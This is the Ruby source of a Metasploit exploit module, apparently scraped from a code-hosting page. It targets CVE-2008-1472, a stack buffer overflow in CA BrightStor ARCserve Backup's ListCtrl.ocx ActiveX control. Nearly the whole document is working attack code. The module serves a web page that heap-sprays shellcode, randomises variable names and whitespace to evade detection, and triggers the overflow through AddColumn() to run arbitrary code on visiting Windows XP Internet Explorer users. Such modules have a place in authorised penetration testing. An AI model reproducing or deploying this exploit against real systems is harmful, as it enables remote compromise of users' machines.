Path: blob/master/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
19513 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',15'Description' => %q{16The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based17buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker18could overflow a buffer and execute arbitrary code on the system.19},20'License' => MSF_LICENSE,21'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],22'References' => [23[ 'CVE', '2008-1472' ],24[ 'OSVDB', '43214' ],25],26'DefaultOptions' => {27'EXITFUNC' => 'process',28},29'Payload' => {30'Space' => 1024,31'BadChars' => "\x00",32},33'Platform' => 'win',34'Targets' => [35[ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]36],37'DisclosureDate' => '2008-03-16',38'DefaultTarget' => 0,39'Notes' => {40'Reliability' => UNKNOWN_RELIABILITY,41'Stability' => UNKNOWN_STABILITY,42'SideEffects' => UNKNOWN_SIDE_EFFECTS43}44)45)46end4748def autofilter49false50end5152def check_dependencies53use_zlib54end5556def on_request_uri(cli, request)57# Re-generate the payload.58return if ((p = regenerate_payload(cli)) == nil)5960# Encode the shellcode.61shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6263# Create some nops.64nops = Rex::Text.to_unescape(make_nops(4))6566# Set the return.67ret = Rex::Text.to_unescape([target.ret].pack('V'))6869# Randomize the javascript variable names.70vname = rand_text_alpha(rand(30) + 1)71var_i = rand_text_alpha(rand(5) + 1)72rand1 = rand_text_alpha(rand(100) + 1)73rand2 = rand_text_alpha(rand(100) + 1)74rand3 = rand_text_alpha(rand(100) + 1)75rand4 = rand_text_alpha(rand(100) + 1)76rand5 = rand_text_alpha(rand(100) + 1)77rand6 = rand_text_alpha(rand(100) + 1)78rand7 = rand_text_alpha(rand(100) + 1)7980content = %Q|81<html>82<object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>83<script>8485var #{rand1} = unescape("#{shellcode}");86var #{rand2} = 0x0A0A0A0A;87var #{rand3} = 0x400000;88var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};89var #{rand5} = unescape("#{ret}");90var #{rand6} = 128;9192while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};93#{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);94#{rand7} = new Array();95for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};96while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};97#{rand5} = #{rand5}.substring(0, #{rand6});9899#{vname}.AddColumn(#{rand5}, 1);100</script>101</html>102|103104content = Rex::Text.randomize_space(content)105106print_status("Sending #{self.name}")107108# Transmit the response to the client109send_response_html(cli, content)110111# Handle the payload112handler(cli)113end114end115116117